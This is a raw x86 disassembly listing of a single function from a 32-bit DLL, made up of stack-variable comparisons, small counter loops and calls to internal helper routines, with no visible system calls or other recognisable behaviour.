mov eax, dword [ebp - 0x1b4]
cmp dword [ebp - 0x5fc], eax
jge 0x10003b49
mov dword [ebp - 0x704], 1
jmp 0x10003b50
and dword [ebp - 0x704], 0
push dword [ebp - 0x110]
lea ecx, [ebp - 0x1c8]
call fcn.10005c66
lea ecx, [ebp - 0x1c8]
push dword [ebp - 0x110]
call fcn.10005c66
cmp dword [eax], 0
jne 0x10003b7e
cmp dword [ebp - 0x1b4], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x54], 0x9ff40b36
ja 0x10003b9a
mov dword [ebp - 0x4a0], 1
jmp 0x10003ba1
and dword [ebp - 0x4a0], 0
mov eax, dword [ebp - 0x144]
cmp dword [ebp - 0x4a0], eax
jne 0x10003bbb
mov dword [ebp - 0x578], 1
jmp 0x10003bc2
and dword [ebp - 0x578], 0
cmp dword [ebp - 0x578], 0xbb785aa1
jbe 0x10003bda
mov dword [ebp - 0x4a8], 1
jmp 0x10003be1
and dword [ebp - 0x4a8], 0
lea ecx, [ebp - 0x67c]
push dword [ebp - 0x110]
call fcn.10005c66
mov ecx, dword [ebp - 0x4a8]
mov dword [eax], ecx
lea ecx, [ebp - 0x924]
mov byte [ebp - 4], 0xe
call fcn.10005c4a
jmp 0x100039ae
mov dword [ebp - 0xfc], 0
jmp 0x10003c27
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0
jg 0x10003e4f
mov dword [ebp - 0x228], 0
jmp 0x10003c4d
mov eax, dword [ebp - 0x228]
inc eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 4
jge 0x10003c66
mov eax, dword [ebp - 0x228]
mov dword [ebp + eax*4 - 0x74], 0x846cf466
jmp 0x10003c40
mov dword [ebp - 0x144], 0
jmp 0x10003c7f
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0
jg 0x10003e3c
mov dword [ebp - 0x620], 0xc574c3fc
mov dword [ebp - 0x744], 6
mov dword [ebp - 0x268], 0
jmp 0x10003cb9
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 3
jge 0x10003cd5
mov eax, dword [ebp - 0x268]
mov dword [ebp + eax*4 - 0x90], 1
jmp 0x10003cac
mov dword [ebp - 0x164], 0
jmp 0x10003cee
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0
jg 0x10003e37
lea ecx, [ebp - 0x1c8]
push dword [ebp - 0xfc]
call fcn.10005c66
push dword [ebp - 0x164]
lea ecx, [ebp - 0x1c8]
call fcn.10005c66
lea ecx, [ebp - 0x1c8]
push dword [ebp - 0xfc]
call fcn.10005c66
cmp dword [ebp - 0xfc], 0
je 0x10003d4c
cmp dword [ebp - 0x5f8], 0
je 0x10003d4c
mov dword [ebp - 0x694], 1
jmp 0x10003d53
and dword [ebp - 0x694], 0
lea ecx, [ebp - 0x1c8]
push dword [ebp - 0x144]
call fcn.10005c66
lea ecx, [ebp - 0x1c8]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x74]
mov dword [ebp - 0x8d0], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x74]
mov dword [ebp - 0x620], eax
mov eax, dword [ebp - 0x620]
mov dword [ebp - 0x840], eax
mov eax, dword [ebp - 0x744]
mov dword [ebp - 0x980], eax
push dword [ebp - 0x144]
call fcn.10005c66
cmp dword [eax], 0xc01a
jl 0x10003dc1
mov dword [ebp - 0x4b0], 1
jmp 0x10003dc8
and dword [ebp - 0x4b0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x90]
cmp dword [ebp - 0x4b0], eax
jle 0x10003de9
mov dword [ebp - 0x580], 1
jmp 0x10003df0
and dword [ebp - 0x580], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x74]
imul eax, dword [ebp - 0x580]
cmp eax, 1
jge 0x10003e12
mov dword [ebp - 0x4b8], 1
jmp 0x10003e19
and dword [ebp - 0x4b8], 0
push dword [ebp - 0x164]
lea ecx, [ebp - 0x1c8]
call fcn.10005c66
mov ecx, dword [ebp - 0x4b8]
mov dword [eax], ecx
jmp 0x10003ce1
jmp 0x10003c72
cmp dword [ebp - 0x5f8], 0
je 0x10003e4a
jmp 0x10003c1a
jmp 0x10003c1a
lea ecx, [ebp - 0x67c]
mov byte [ebp - 4], 0xd
call fcn.10005c4a
lea ecx, [ebp - 0x1c8]
or dword [ebp - 4], 0xffffffff
call fcn.10005c4a
mov ecx, dword [ebp - 0x2b0]
mov eax, dword [ebp - 0x150]
mov eax, dword [ecx + eax*2]
mov dword [ebp - 0x514], eax
push 4
lea ecx, [ebp - 0x944]
call fcn.10005bc8
lea ecx, [ebp - 0x934]
mov dword [ebp - 4], 0x10
mov dword [ebp - 0x230], 0xfffffffd
mov dword [ebp - 0x848], 0x4543beb7
mov dword [ebp - 0x8d8], 1
mov dword [ebp - 0x850], 0x4f094650
mov dword [ebp - 0x960], 0xfffffff8
push 2
call fcn.10005bc8
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x128], 0
jmp 0x10003ef2
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 4
jge 0x10003f14
push dword [ebp - 0x128]
lea ecx, [ebp - 0x944]
call fcn.10005c66
mov dword [eax], 7
jmp 0x10003ee5
mov dword [ebp - 0x128], 0
jmp 0x10003f2d
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 2
jge 0x10003f4f
push dword [ebp - 0x128]
lea ecx, [ebp - 0x934]
call fcn.10005c66
mov dword [eax], 0x6887e08
jmp 0x10003f20
mov dword [ebp - 0x230], 0
jmp 0x10003f68
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 3
jg 0x10004002
mov dword [ebp - 0x858], 1
mov dword [ebp - 0x8e8], 0xfffffff7
mov dword [ebp - 0x860], 0xc619a80b
mov dword [ebp - 0x9a0], 0xf6f97812
mov dword [ebp - 0x868], 0xfffffffc
mov dword [ebp - 0x8f8], 0xfffffffd
mov dword [ebp - 0x330], 0x3cc1
mov dword [ebp - 0x288], 0
jmp 0x10003fd4
mov eax, dword [ebp - 0x288]
inc eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 2
jge 0x10003ff0
mov eax, dword [ebp - 0x288]
mov dword [ebp + eax*4 - 0x9cc], 0x6444
jmp 0x10003fc7
mov eax, dword [ebp - 0x330]
dec eax
mov dword [ebp - 0x330], eax
jmp 0x10003f5b
lea ecx, [ebp - 0x934]
mov byte [ebp - 4], 0x10
call fcn.10005c4a
lea ecx, [ebp - 0x944]
or dword [ebp - 4], 0xffffffff
call fcn.10005c4a
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x2b0]
mov eax, dword [ecx + eax*2 + 4]
mov dword [ebp - 0x234], eax
mov dword [ebp - 0x2f0], 0xfffffffe
mov dword [ebp - 0x238], 0
jmp 0x10004059
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 2
jge 0x10004075
mov eax, dword [ebp - 0x238]
mov dword [ebp + eax*4 - 0x13c], 0x39beb064
jmp 0x1000404c
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x13c], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x13c]
mov dword [ebp - 0x870], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x13c]
mov dword [ebp - 0x968], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x13c], 0
je 0x100040d8
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x13c], 0
je 0x100040d8
mov dword [ebp - 0x334], 1
jmp 0x100040df
and dword [ebp - 0x334], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x13c]
cmp dword [ebp - 0x334], eax
je 0x1000410d
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x13c], 0
jne 0x1000410d
and dword [ebp - 0x69c], 0
jmp 0x10004117
mov dword [ebp - 0x69c], 1
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x13c], 0x9e07
je 0x10004136
mov dword [ebp - 0x32c], 1
jmp 0x1000413d
and dword [ebp - 0x32c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x13c]
imul eax, dword [ebp - 0x32c]
or eax, eax
jne 0x10004161
mov dword [ebp - 0x344], 1
jmp 0x10004168
and dword [ebp - 0x344], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x13c]
cmp dword [ebp - 0x344], eax
jge 0x10004189
mov dword [ebp - 0x34c], 1
jmp 0x10004190
and dword [ebp - 0x34c], 0
cmp dword [ebp - 0x34c], 0x1289
jl 0x100041a8
mov dword [ebp - 0x354], 1
jmp 0x100041af
and dword [ebp - 0x354], 0
cmp dword [ebp - 0x354], 0xffff
je 0x100041c7
mov dword [ebp - 0x35c], 1
jmp 0x100041ce
and dword [ebp - 0x35c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x13c]
add eax, dword [ebp - 0x35c]
je 0x100041ef
lea ecx, [ebp - 0x304]
push 2
call fcn.10005bc8
lea ecx, [ebp - 0x76c]
mov dword [ebp - 4], 0x1a
mov dword [ebp - 0x56c], 0
mov dword [ebp - 0x6f0], 0x9d43
mov dword [ebp - 0x2c4], 1
push 1
call fcn.10005bc8
lea ecx, [ebp - 0x7a0]
mov byte [ebp - 4], 0x1b
mov dword [ebp - 0x53c], 0xfffffff8
mov dword [ebp - 0x6d4], 8
mov dword [ebp - 0x564], 0
mov dword [ebp - 0x57c], 0xde0f4c9f
push 1
call fcn.10005bc8
mov byte [ebp - 4], 0x1c
mov dword [ebp - 0x30c], 0xfc5c2f0
mov dword [ebp - 0x6f8], 0
mov dword [ebp - 0xe8], 0
jmp 0x1000555e
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 2
jge 0x10005580
push dword [ebp - 0xe8]
lea ecx, [ebp - 0x304]
call fcn.10005c66
mov dword [eax], 0x6e838462
jmp 0x10005551
mov dword [ebp - 0xe8], 0
jmp 0x10005599
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 1
jge 0x100055bb
lea ecx, [ebp - 0x76c]
push dword [ebp - 0xe8]
call fcn.10005c66
mov dword [eax], 0x22c92085
jmp 0x1000558c
mov dword [ebp - 0xe8], 0
jmp 0x100055d4
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 1
jge 0x100055f6
lea ecx, [ebp - 0x7a0]
push dword [ebp - 0xe8]
call fcn.10005c66
mov dword [eax], 0x85e9
jmp 0x100055c7
lea ecx, [ebp - 0x304]
push 1
call fcn.10005c66
mov esi, eax
push 0
lea ecx, [ebp - 0x304]
call fcn.10005c66
mov ecx, 0x3069be54
sub ecx, dword [eax]
cmp dword [esi], ecx
jle 0x10005629
mov dword [ebp - 0x51c], 1
jmp 0x10005630
and dword [ebp - 0x51c], 0
mov eax, dword [ebp - 0x51c]
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 0xffff
ja 0x10005654
mov dword [ebp - 0x2e4], 1
jmp 0x1000565b
and dword [ebp - 0x2e4], 0
push 0
lea ecx, [ebp - 0x76c]
call fcn.10005c66
mov ecx, dword [ebp - 0x2e4]
mov dword [eax], ecx
push 1
lea ecx, [ebp - 0x304]
call fcn.10005c66
mov ecx, dword [ebp - 0x2e4]
sub ecx, dword [eax]
je 0x1000569c
mov eax, 0x7d2a
test eax, eax
je 0x1000569c
mov dword [ebp - 0x524], 1
jmp 0x100056a3
and dword [ebp - 0x524], 0
cmp dword [ebp - 0x524], 0
je 0x100056b8
mov dword [ebp - 0x52c], 1
jmp 0x100056bf
and dword [ebp - 0x52c], 0
lea ecx, [ebp - 0x304]
push 0
call fcn.10005c66
mov ecx, dword [ebp - 0x52c]
cmp ecx, dword [eax]
jg 0x100056e2
mov dword [ebp - 0x534], 1
jmp 0x100056e9
and dword [ebp - 0x534], 0
lea ecx, [ebp - 0x304]
mov eax, dword [ebp - 0x534]
mov dword [ebp - 0x53c], eax
mov esi, dword [ebp - 0x53c]
push 0
call fcn.10005c66
cmp dword [eax], esi
jle 0x10005718
mov dword [ebp - 0x544], 1
jmp 0x1000571f
and dword [ebp - 0x544], 0
push 0
lea ecx, [ebp - 0x304]
call fcn.10005c66
mov ecx, dword [ebp - 0x544]
cmp ecx, dword [eax]
jl 0x10005742
mov dword [ebp - 0x6cc], 1
jmp 0x10005749
and dword [ebp - 0x6cc], 0
push 0
lea ecx, [ebp - 0x304]
call fcn.10005c66
push 0
lea ecx, [ebp - 0x304]
call fcn.10005c66
xor eax, eax
cmp eax, 0xc7a2e428
je 0x10005778
mov dword [ebp - 0x54c], 1
jmp 0x1000577f
and dword [ebp - 0x54c], 0
cmp dword [ebp - 0x54c], 0x598737a
je 0x10005797
mov dword [ebp - 0x554], 1
jmp 0x1000579e
and dword [ebp - 0x554], 0
mov eax, dword [ebp - 0x6f0]
sub eax, dword [ebp - 0x554]
jne 0x100057b9
push 0
lea ecx, [ebp - 0x76c]
call fcn.10005c66
mov eax, dword [ebp - 0x6d4]
cmp dword [ebp - 0x2c4], eax
jne 0x100057d3
mov dword [ebp - 0x55c], 1
jmp 0x100057da
and dword [ebp - 0x55c], 0
lea ecx, [ebp - 0x304]
push 1
call fcn.10005c66
mov eax, dword [eax]
mov dword [ebp - 0x56c], eax
mov eax, dword [ebp - 0x55c]
mov dword [ebp - 0x564], eax
mov eax, dword [ebp - 0x564]
cmp dword [ebp - 0x56c], eax
jle 0x10005815
mov dword [ebp - 0x574], 1
jmp 0x1000581c
and dword [ebp - 0x574], 0
mov eax, dword [ebp - 0x574]
mov dword [ebp - 0x57c], eax
mov esi, dword [ebp - 0x57c]
lea ecx, [ebp - 0x7a0]
push 0
call fcn.10005c66
sub esi, dword [eax]
je 0x10005854
cmp dword [ebp - 0x30c], 0
je 0x10005854
mov dword [ebp - 0x584], 1
jmp 0x1000585b
and dword [ebp - 0x584], 0
mov eax, dword [ebp - 0x584]
mov dword [ebp - 0x30c], eax
lea ecx, [ebp - 0x7a0]
mov eax, dword [ebp - 0x30c]
mov dword [ebp - 0x6f8], eax
mov byte [ebp - 4], 0x1b
call fcn.10005c4a
lea ecx, [ebp - 0x76c]
mov byte [ebp - 4], 0x1a
call fcn.10005c4a
lea ecx, [ebp - 0x304]
or dword [ebp - 4], 0xffffffff
call fcn.10005c4a
mov eax, 0x10032580
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100171e4
mov esp, ebp
pop ebp
ret